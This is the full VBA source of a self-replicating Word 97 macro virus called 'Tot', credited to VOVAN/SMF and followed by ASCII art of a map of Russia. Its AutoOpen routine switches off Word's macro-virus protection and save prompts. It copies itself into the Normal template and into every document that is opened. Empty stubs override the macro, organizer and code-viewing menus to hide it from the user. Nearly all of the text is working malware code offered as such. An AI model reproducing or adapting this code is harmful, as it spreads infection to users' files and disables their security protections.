MacroVirus.Word97.Tot by VOVAN/SMF
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Attribute VB_Name = "tot"
Sub AutoOpen(): On Error Resume Next: Application.EnableCancelKey = 0: Application.ShowVisualBasicEditor = 0: Options.VirusProtection = 0: Options.SaveNormalPrompt = 0: a = ActiveDocument.FullName: n = NormalTemplate.FullName: Application.OrganizerCopy Source:=a, Destination:=n, Name:="tot", Object:=wdOrganizerObjectProjectItems: NormalTemplate.Save: Application.OrganizerCopy Source:=n, Destination:=a, Name:="tot", Object:=wdOrganizerObjectProjectItems: ActiveDocument.Save: End Sub
Sub ToolsRecordMacroToggle(): End Sub
Sub ToolsRecordMacroStart(): End Sub
Sub FileSave(): AutoOpen: End Sub
Sub FileTemplates(): End Sub
Sub ToolsMacro(): End Sub
Sub ViewVBcode(): End Sub
Sub Organizer(): End Sub

'         MMM            MMMMMMMMM                 MM
'       MMMMMMMM     MMMMMMMMMMMMMMMM          MMMMMM
'        MMMMMMMMMMMMMMM/"""""""\MMMMMMMMMMMMMMMMMMMMM
'         MMMMMMMMMMMMMM\______/MMMMMMMMMMMMMMMMMMMMMM
'         MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
'         MMMM      MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
'         MMM        MMMMMMMMMMMMM           MMMMMMMMMM
'         MMM        MMMMMMMMMMM    RUSSIA     MMMMMMMM
'          MM         MMMMMMMM               M  MMMMMMM
'          MM        MMMMMMMMM             MMM   MMMMMM
'                   MMMMMMMMMMMMMM      MMMMM    MMMMMM
'          MM      MMMMMMMMMMMMMMMMMMMMMMMM       MMMM
'         MMMMMMMMMMMMMMMMMMMMMMMMMMMMM           MMMM
'        MMMMMMMMMM                                MM